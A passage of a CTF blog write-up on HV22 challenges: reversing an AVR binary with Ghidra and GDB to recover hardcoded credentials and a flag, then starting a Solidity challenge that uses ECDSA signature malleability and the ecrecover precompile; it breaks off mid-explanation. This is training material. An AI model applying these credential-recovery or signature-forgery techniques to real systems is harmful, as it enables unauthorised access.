href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-125.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"550\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-125-1024x550.png\" alt=\"\" class=\"wp-image-2186\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-125-1024x550.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-125-300x161.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-125-768x413.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-125-500x269.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-125.png 1262w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>I decompiled the binary with Ghidra and started analyzing it. I had to choose AVR8 and iarV1 as language settings to decompile the binary in Ghidra successfully.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-126.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"986\" height=\"724\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-126.png\" alt=\"\" class=\"wp-image-2187\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-126.png 986w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-126-300x220.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-126-768x564.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-126-409x300.png 409w\" sizes=\"auto, (max-width: 986px) 100vw, 986px\" \/><\/a><\/figure>\n\n\n\n<p>I didn&#8217;t know the AVR assembly instructions and struggled to understand them. Thus, I mainly focused on the decompiled source code. Ghidra created the following C code for the main() function of the binary.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"c\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">void main(char *param_1)\n\n{\n  byte bVar1;\n  undefined *unaff_SP;\n  ushort uVar2;\n  short sVar3;\n  short sVar4;\n  short sVar5;\n  char in_Cflg;\n  bool bVar6;\n  char in_Hflg;\n  char in_Tflg;\n  char in_Iflg;\n  byte bVar7;\n  byte bVar8;\n  byte bVar10;\n  byte bVar12;\n  byte bVar13;\n  undefined2 uVar14;\n  byte bVar15;\n  char cVar16;\n  byte bVar17;\n  byte bVar18;\n  byte bVar20;\n  undefined2 uVar21;\n  byte bVar22;\n  uchar uVar23;\n  char *pcVar24;\n  byte *pbVar25;\n  byte *pbVar26;\n  byte bVar27;\n  byte bVar28;\n  byte bVar29;\n  byte bVar30;\n  byte bVar31;\n  byte bVar32;\n  byte bVar33;\n  byte bVar34;\n  byte *pbVar35;\n  undefined uVar37;\n  undefined *puVar36;\n  undefined4 uVar39;\n  byte bVar9;\n  byte bVar11;\n  byte bVar19;\n  byte bVar38;\n  \n  uVar37 = (undefined)((ushort)&amp;stack0x0000 >> 8);\n  bVar7 = 0;\n  *unaff_SP = 0;\n  unaff_SP[-1] = uVar37;\n  cVar16 = (char)((ushort)(unaff_SP + -2) >> 8);\n  uVar2 = (ushort)(unaff_SP + -2) &amp; 0xff;\n  bVar38 = cVar16 - 1;\n  puVar36 = (undefined *)(uVar2 | (ushort)bVar38 &lt;&lt; 8);\n  SREG = in_Cflg == '\\x01' | (bVar38 == 0) &lt;&lt; 1 | ((short)puVar36 &lt; 0) &lt;&lt; 2 | (cVar16 == -0x80) &lt;&lt; 3\n         | ((short)puVar36 &lt; 0 != (cVar16 == -0x80)) &lt;&lt; 4 | (in_Hflg == '\\x01') &lt;&lt; 5 |\n         (in_Tflg == '\\x01') &lt;&lt; 6 | (in_Iflg == '\\x01') &lt;&lt; 7;\n  uVar2 = uVar2 | (ushort)bVar38 &lt;&lt; 8;\n  bVar38 = DAT_mem_0044;\n  DAT_mem_0044 = bVar38 | 2;\n  bVar38 = DAT_mem_0044;\n  DAT_mem_0044 = bVar38 | 1;\n  bVar38 = DAT_mem_0045;\n  DAT_mem_0045 = bVar38 | 2;\n  bVar38 = DAT_mem_0045;\n  DAT_mem_0045 = bVar38 | 1;\n  bVar38 = DAT_mem_006e;\n  DAT_mem_006e = bVar38 | 1;\n  DAT_mem_0081 = bVar7;\n  bVar38 = DAT_mem_0081;\n  DAT_mem_0081 = bVar38 | 2;\n  bVar38 = DAT_mem_0081;\n  DAT_mem_0081 = bVar38 | 1;\n  bVar38 = DAT_mem_0080;\n  DAT_mem_0080 = bVar38 | 1;\n  bVar38 = DAT_mem_00b1;\n  DAT_mem_00b1 = bVar38 | 4;\n  bVar38 = DAT_mem_00b0;\n  DAT_mem_00b0 = bVar38 | 1;\n  bVar38 = DAT_mem_007a;\n  DAT_mem_007a = bVar38 | 4;\n  bVar38 = DAT_mem_007a;\n  DAT_mem_007a = bVar38 | 2;\n  bVar38 = DAT_mem_007a;\n  DAT_mem_007a = bVar38 | 1;\n  bVar38 = DAT_mem_007a;\n  DAT_mem_007a = bVar38 | 0x80;\n  DAT_mem_00c1 = bVar7;\n  *(undefined *)CONCAT11(Serial[17],Serial[16]) = 2;\n  *(byte *)CONCAT11(Serial[13],Serial[12]) = bVar7;\n  *(undefined *)CONCAT11(Serial[15],Serial[14]) = 0xcf;\n  Serial[24] = bVar7;\n  *(undefined *)CONCAT11(Serial[21],Serial[20]) = 6;\n  *(byte *)CONCAT11(Serial[19],Serial[18]) = *(byte *)CONCAT11(Serial[19],Serial[18]) | 0x10;\n  *(byte *)CONCAT11(Serial[19],Serial[18]) = *(byte *)CONCAT11(Serial[19],Serial[18]) | 8;\n  *(byte *)CONCAT11(Serial[19],Serial[18]) = *(byte *)CONCAT11(Serial[19],Serial[18]) | 0x80;\n  *(byte *)CONCAT11(Serial[19],Serial[18]) = *(byte *)CONCAT11(Serial[19],Serial[18]) &amp; 0xdf;\n  *(char **)(uVar2 - 1) = s_Login_Successful!_mem_02d0 + 4;\n  sVar3 = uVar2 - 2;\n  pcVar24 = (char *)Print::println(param_1);\n  uVar14 = CONCAT11((char)((ushort)puVar36 >> 8) + '\\x01' + (0xfe &lt; (byte)puVar36),(byte)puVar36 + 1\n                   );\n  bVar38 = 0xd;\n  uVar21 = 0;\n  bVar22 = bVar7;\n  while( true ) {\n    *(char **)(sVar3 + -1) = s_Decrypting_flag..._mem_02e2 + 1;\n    pcVar24 = (char *)Print::println(pcVar24);\n    *(char **)(sVar3 + -3) = s_Decrypting_flag..._mem_02e2 + 5;\n    Print::write(pcVar24);\n    pbVar26 = (byte *)CONCAT11((char)((ushort)puVar36 >> 8) - (((char)puVar36 != -1) + -1),\n                               (char)puVar36 + '\\x01');\n    sVar5 = (ushort)bVar7 &lt;&lt; 8;\n    sVar3 = sVar3 + -4;\n    pbVar25 = pbVar26;\n    while (((sVar4 = sVar3, cVar16 = (char)((ushort)sVar5 >> 8), cVar16 != '\\r' &amp;&amp; (cVar16 != '\\n'))\n           &amp;&amp; ((byte)uVar14 != (byte)pbVar26 ||\n               (char)((ushort)uVar14 >> 8) !=\n               (char)((char)((ushort)pbVar26 >> 8) + ((byte)uVar14 &lt; (byte)pbVar26))))) {\n      bVar34 = 0xb;\n      cVar16 = '\\x03';\n      *(char **)(sVar4 + -1) = s_Try_again..._mem_02f5 + 4;\n      pbVar25 = (byte *)HardwareSerial::available();\n      sVar3 = sVar4 + -2;\n      if ((char)(bVar7 - (cVar16 + (bVar7 &lt; bVar34))) &lt; '\\0' !=\n          (SBORROW1(bVar7,cVar16) != SBORROW1(bVar7 - cVar16,bVar7 &lt; bVar34))) {\n        bVar34 = 0xb;\n        *(undefined2 *)(sVar4 + -3) = 0x300;\n        pbVar25 = (byte *)HardwareSerial::read();\n        sVar5 = (ushort)bVar34 &lt;&lt; 8;\n        pbVar35 = pbVar26 + 1;\n        *pbVar26 = bVar34;\n        pbVar26 = pbVar35;\n        sVar3 = sVar4 + -4;\n      }\n    }\n    *(undefined2 *)(sVar4 + -1) = 0x308;\n    pbVar26 = (byte *)Print::println((char *)pbVar25);\n    sVar3 = 0;\n    bVar34 = 0;\n    cVar16 = '\\0';\n    pbVar25 = logins;\n    do {\n      bVar29 = bVar22;\n      bVar28 = bVar38;\n      sVar5 = sVar4;\n      pbVar35 = pbVar26 + 1;\n      bVar27 = *pbVar26;\n      pbVar26 = pbVar25 + 1;\n      bVar13 = *pbVar25;\n      bVar38 = bVar28;\n      bVar22 = bVar29;\n      *(undefined2 *)(sVar5 + -3) = 0x31b;\n      uVar39 = __divmodhi4();\n      pcVar24 = (char *)uVar39;\n      bVar34 = *(byte *)CONCAT11(cVar16 - ((bVar34 &lt; 0xb0) + -3),bVar34 + 0x50);\n      if ((bVar27 ^ *(byte *)(CONCAT11(-((bVar34 &lt; 0xcd) + -2),bVar34 + 0x33) + 0x25)) == bVar13) {\n        sVar3 = sVar3 + 1;\n      }\n      cVar16 = (char)((uint)uVar39 >> 0x10);\n      bVar34 = cVar16 + 1;\n      cVar16 = (char)((uint)uVar39 >> 0x18) - ((cVar16 != -1) + -1);\n      sVar4 = sVar5 + -2;\n      pbVar25 = pbVar26;\n      pbVar26 = pbVar35;\n    } while (bVar34 != 0x21 || cVar16 != (byte)(bVar7 + (bVar34 &lt; 0x21)));\n    if (sVar3 == 0x21) break;\n    bVar30 = 0xf5;\n    bVar33 = 2;\n    *(undefined2 *)(sVar5 + -5) = 0x357;\n    Print::println(pcVar24);\n    *(undefined2 *)(sVar5 + -7) = 0x359;\n    micros();\n    sVar3 = sVar5 + -8;\n    bVar8 = bVar28;\n    bVar10 = bVar29;\n    bVar31 = 3;\n    bVar13 = bVar33;\n    bVar34 = 0xe8;\n    bVar27 = 3;\n    bVar19 = bVar7;\n    bVar20 = bVar7;\n    do {\n      do {\n        sVar5 = sVar3;\n        bVar12 = bVar30;\n        bVar9 = bVar8;\n        bVar11 = bVar10;\n        bVar15 = bVar34;\n        bVar17 = bVar27;\n        bVar18 = bVar19;\n        *(undefined2 *)(sVar5 + -1) = 0x363;\n        sVar3 = sVar5 + -2;\n        pcVar24 = (char *)micros();\n        bVar34 = bVar28 - bVar9;\n        bVar1 = bVar29 - (bVar11 + (bVar28 &lt; bVar9));\n        bVar6 = bVar29 &lt; bVar11 || (byte)(bVar29 - bVar11) &lt; (bVar28 &lt; bVar9);\n        bVar32 = bVar31 - (bVar12 + bVar6);\n        bVar13 = bVar13 - (bVar33 + (bVar31 &lt; bVar12 || (byte)(bVar31 - bVar12) &lt; bVar6));\n        bVar29 = bVar1 - ((bVar34 &lt; 0xe8) + '\\x03');\n        bVar30 = bVar12;\n        bVar28 = bVar34;\n        bVar8 = bVar9;\n        bVar10 = bVar11;\n        bVar31 = bVar32;\n        bVar34 = bVar15;\n        bVar27 = bVar17;\n        bVar19 = bVar18;\n      } while (bVar13 &lt; bVar7 ||\n               (byte)(bVar13 - bVar7) &lt;\n               (bVar32 &lt; bVar7 ||\n               (byte)(bVar32 - bVar7) &lt; (bVar1 &lt; 3 || (byte)(bVar1 - 3) &lt; (bVar34 &lt; 0xe8))));\n      bVar34 = bVar15 - 1;\n      bVar27 = bVar17 - (bVar7 + (bVar15 == 0));\n      bVar6 = bVar17 &lt; bVar7 || (byte)(bVar17 - bVar7) &lt; (bVar15 == 0);\n      bVar19 = bVar18 - (bVar7 + bVar6);\n      bVar20 = bVar20 - (bVar7 + (bVar18 &lt; bVar7 || (byte)(bVar18 - bVar7) &lt; bVar6));\n      bVar8 = bVar9 - 0x18;\n      bVar10 = bVar11 + 3 + (0x17 &lt; bVar9);\n      bVar6 = 0xfc &lt; bVar11 || CARRY1(bVar11 + 3,0x17 &lt; bVar9);\n      bVar30 = bVar12 + bVar7 + bVar6;\n      bVar33 = bVar33 + bVar7 + (CARRY1(bVar12,bVar7) || CARRY1(bVar12 + bVar7,bVar6));\n      bVar6 = bVar27 &lt; bVar7 || (byte)(bVar27 - bVar7) &lt; (bVar34 &lt; bVar7);\n    } while (((bVar34 != bVar7 || bVar27 != (byte)(bVar7 + (bVar34 &lt; bVar7))) ||\n             bVar19 != (byte)(bVar7 + bVar6)) ||\n             bVar20 != (byte)(bVar7 + (bVar19 &lt; bVar7 || (byte)(bVar19 - bVar7) &lt; bVar6)));\n    if ((byte)uVar21 != bVar7 ||\n        (char)((ushort)uVar21 >> 8) != (byte)(bVar7 + ((byte)uVar21 &lt; bVar7))) {\n      *(undefined2 *)(sVar5 + -3) = 0x382;\n      sVar3 = sVar5 + -4;\n      pcVar24 = (char *)Serial0_available();\n      if (bVar32 != 0) {\n        *(undefined2 *)(sVar5 + -5) = 0x387;\n        sVar3 = sVar5 + -6;\n        pcVar24 = (char *)__vectors();\n      }\n    }\n  }\n  *(undefined2 *)(sVar5 + -5) = 0x333;\n  pcVar24 = (char *)Print::println(pcVar24);\n  *(undefined2 *)(sVar5 + -7) = 0x337;\n  sVar5 = sVar5 + -8;\n  pcVar24 = (char *)Print::println(pcVar24);\n  bVar38 = (byte)pcVar24 + 0x21;\n  cVar16 = (char)((ushort)pcVar24 >> 8) + bVar7 + (0xde &lt; (byte)pcVar24);\n  while (bVar22 = (byte)pcVar24,\n        bVar22 != bVar38 || (char)((ushort)pcVar24 >> 8) != (char)(cVar16 + (bVar22 &lt; bVar38))) {\n    uVar23 = bVar22 + 1;\n    *(undefined2 *)(sVar5 + -1) = 0x34d;\n    sVar5 = sVar5 + -2;\n    pcVar24 = (char *)HardwareSerial::write(uVar23);\n  }\n  *(undefined2 *)(sVar5 + -1) = 0x352;\n  Print::println(pcVar24);\n  do {\n                    \/* WARNING: Do nothing block with infinite loop *\/\n  } while( true );\n}<\/pre>\n\n\n\n<p>Scouting for the XOR in the code, I identified in the last part of the main function the following code snippet. bVar27 is our input coming from &#8220;(byte *)HardwareSerial::read();&#8221;. The loop iterates 33 times (0x21) and breaks whenever the result of the XOR operations with bVar27 is not as the expectation in the code.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-127.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"264\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-127-1024x264.png\" alt=\"\" class=\"wp-image-2188\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-127-1024x264.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-127-300x77.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-127-768x198.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-127-500x129.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-127.png 1453w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>This was the right spot to get the flag, which must be of length 33. As I set up the debugger, I could now set the correct breakpoint, read the registers and then perform the calculation myself. With the command &#8220;disass main&#8221; in GDB, we find the right spot to set the breakpoint.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-128.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"379\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-128-1024x379.png\" alt=\"\" class=\"wp-image-2189\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-128-1024x379.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-128-300x111.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-128-768x284.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-128-500x185.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-128.png 1491w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>I did set the breakpoint one step later at +430 in GDB. I enter the string &#8220;AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&#8221; as username and password, which corresponds to 33 characters. And now, I can iterate through the loop with GDB and examine the registers with the command &#8220;i r&#8221;.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-130.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"799\" height=\"1024\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-130-799x1024.png\" alt=\"\" class=\"wp-image-2191\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-130-799x1024.png 799w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-130-234x300.png 234w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-130-768x984.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-130.png 1090w\" sizes=\"auto, (max-width: 799px) 100vw, 799px\" \/><\/a><\/figure>\n\n\n\n<p>The two crucial registers are r5 and r20. If we XOR them and XOR the result again with our input 0x41 (&#8216;A&#8217;), we get the corresponding character of the correct &#8220;username:password&#8221; combination.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-131.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"634\" height=\"393\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-131.png\" alt=\"\" class=\"wp-image-2192\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-131.png 634w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-131-300x186.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-131-484x300.png 484w\" sizes=\"auto, (max-width: 634px) 100vw, 634px\" \/><\/a><\/figure>\n\n\n\n<p>Repeating this manually for all the 33 characters of our input reveals the correct username and password:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">santa:i_love_hardc0ded_cr3dz!!!:)<\/pre>\n\n\n\n<p>We enter this combination into the binary at run time and collect the flag.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-132.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"137\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-132-1024x137.png\" alt=\"\" class=\"wp-image-2193\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-132-1024x137.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-132-300x40.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-132-768x103.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-132-1536x205.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-132-2048x274.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-132-500x67.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{n1c3_r3v3r51n6_5k1llz_u_g07}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.23] Code but no code<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"837\" height=\"124\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-133.png\" alt=\"\" class=\"wp-image-2196\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-133.png 837w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-133-300x44.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-133-768x114.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-133-500x74.png 500w\" sizes=\"auto, (max-width: 837px) 100vw, 837px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa loves puzzles and hopes you do too \ud83d\ude09 Find the secret inputs which fulfil the requirements and gives you the flag.<\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>HaCk0<\/strong>. This would be the fifth pun about him here, can&#8217;t think of any more.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>Another Blockchain challenge from HaCk0 was released on the 23rd of December, this time in the &#8220;leet&#8221; category. \ud83e\udd2f\ud83d\ude33\ud83e\udd75<br>We can see this website when we start the challenge and connect to the challenge webserver.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-134.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"480\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-134-1024x480.png\" alt=\"\" class=\"wp-image-2198\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-134-1024x480.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-134-300x141.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-134-768x360.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-134-1536x720.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-134-2048x960.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-134-500x234.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>We get a provisioned wallet, but we can see that this wallet is not signing the message on the website. We also get the Solidity source code of the two contracts in place:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ SPDX-License-Identifier: UNLICENSED\n\npragma solidity 0.8.16;\n\nimport \".\/Challenge.sol\";\n\ncontract Setup {\n    Challenge public challenge;\n\n    constructor() {\n        challenge = new Challenge(msg.sender);\n    }\n\n    function isSolved() public view returns (bool) {\n        return challenge.solved();\n    }\n}<\/pre>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\/\/ SPDX-License-Identifier: UNLICENSED\n\npragma solidity 0.8.16;\n\ncontract Challenge {\n    bool public solved = false;\n    address public signer;\n\n    constructor(address _signer) {\n        signer = _signer;\n    }\n\n    function solve(\n        address helper,\n        bytes memory sig,\n        bytes calldata message\n    ) external {\n        for (uint256 i = 0; i &lt; 19; i++) {\n            require(bytes20(helper)[i] == 0, \"helper has not enought 0s\");\n        }\n\n        bytes32 r;\n        bytes32 s;\n        uint8 v = 28;\n        assembly {\n            \/\/ first 32 bytes, after the length prefix\n            r := mload(add(sig, 32))\n            \/\/ second 32 bytes\n            s := mload(add(sig, 64))\n        }\n\n        (bool success, bytes memory result) = helper.call(\n            abi.encode(keccak256(message), v, r, s)\n        );\n        require(success, \"helper call failed\");\n        require(bytes32(result) == bytes32(uint256(uint160(signer))), \"Wrong Signer!\");\n        solved = true;\n    }\n}<\/pre>\n\n\n\n<p>Analyzing the source code of the contracts reveals that the contract &#8220;Setup.sol&#8221; is used to put the contract &#8220;Challenge.sol&#8221; in place. And from &#8220;Challenge.sol&#8221; we learn the following details:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>To solve the challenge, we need to set the variable solved in the Challenge contract to true.&nbsp;<\/li>\n\n\n\n<li>We need to call the solve() function with an address parameter &#8220;helper&#8221;, a signature in bytes, and a message in bytes too.&nbsp;<\/li>\n\n\n\n<li>The first hurdle is to circumvent the check for the helper address, which needs the address to contain nineteen 0 (of 20)! That seems impossible?!<\/li>\n\n\n\n<li>Then our helper contract will be called and must return the same signer as the signer stored in the variable of the contract.&nbsp;<\/li>\n<\/ul>\n\n\n\n<p>I used Metamask and REMIX for the whole setup and for solving the challenge. Because we get the address of the Setup contract on the challenge website and this contract contains a reference to the Challenge contract, we can find out the address of the Challenge contract.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-135.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"855\" height=\"1024\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-135-855x1024.png\" alt=\"\" class=\"wp-image-2200\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-135-855x1024.png 855w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-135-251x300.png 251w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-135-768x920.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-135.png 887w\" sizes=\"auto, (max-width: 855px) 100vw, 855px\" \/><\/a><\/figure>\n\n\n\n<p>Now we can interact with both contracts directly through REMIX.<br>The next hurdle is to circumvent the check for the helper address, which needs to contain nineteen 0:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">for (uint256 i = 0; i &lt; 19; i++) {\n    require(bytes20(helper)[i] == 0, \"helper has not enought 0s\");\n}<\/pre>\n\n\n\n<p>After trying many pointless things, I learned about <a rel=\"noreferrer noopener\" href=\"https:\/\/ethereum.github.io\/execution-specs\/autoapi\/ethereum\/homestead\/vm\/precompiled_contracts\/mapping\/index.html\" target=\"_blank\">&#8220;precompiled contracts&#8221; in Ethereum<\/a> in this challenge. In this link we also find the address of the ECRECOVER contract:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">ECRECOVER_ADDRESS = hex_to_address(\"0x01\")<\/pre>\n\n\n\n<p>What corresponds to:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">0x0000000000000000000000000000000000000001 <\/pre>\n\n\n\n<p>Perfect, with this address, we can get around the first require() check. I started digging deeper into the <a href=\"https:\/\/docs.soliditylang.org\/en\/latest\/units-and-global-variables.html#mathematical-and-cryptographic-functions\" target=\"_blank\" rel=\"noreferrer noopener\">functionality of the precompiled contract ECRECOVER<\/a>. Very interesting is this warning:<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-136.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"395\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-136-1024x395.png\" alt=\"\" class=\"wp-image-2201\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-136-1024x395.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-136-300x116.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-136-768x296.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-136-500x193.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-136.png 1415w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>We can somehow manipulate this contract to return another valid signature without having the private key. Exactly what we need to solve the challenge! The vulnerability referenced in this warning message is called &#8220;<strong>ECDSA Malleability<\/strong>&#8220;, and we can learn the details in this blog post: <a rel=\"noreferrer noopener\" href=\"http:\/\/coders-errand.com\/malleability-ecdsa-signatures\/\" target=\"_blank\">http:\/\/coders-errand.com\/malleability-ecdsa-signatures\/<\/a><\/p>\n\n\n\n<p>Right at the beginning of the article, the following statement pops out.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">If you\u2019ve read the previous article, you know by now that a valid ECDSA signature (r, s) can easily be transformed into a different valid signature, (r, n - s)for the same data.<\/pre>\n\n\n\n<p><a href=\"https:\/\/neuromancer.sk\/std\/secg\/secp256k1#\" target=\"_blank\" rel=\"noreferrer noopener\">ECDSA uses secp256k1<\/a> in Ethereum. Therefore we know the fixed value of &#8220;n&#8221;.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">n: 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141<\/pre>\n\n\n\n<p>The signature we get from the challenge website is 65 bytes long. The last byte is already provided in the source code with &#8220;v = 28&#8221;. The first 32 bytes are assigned to r, and the second 32 bytes are assigned to 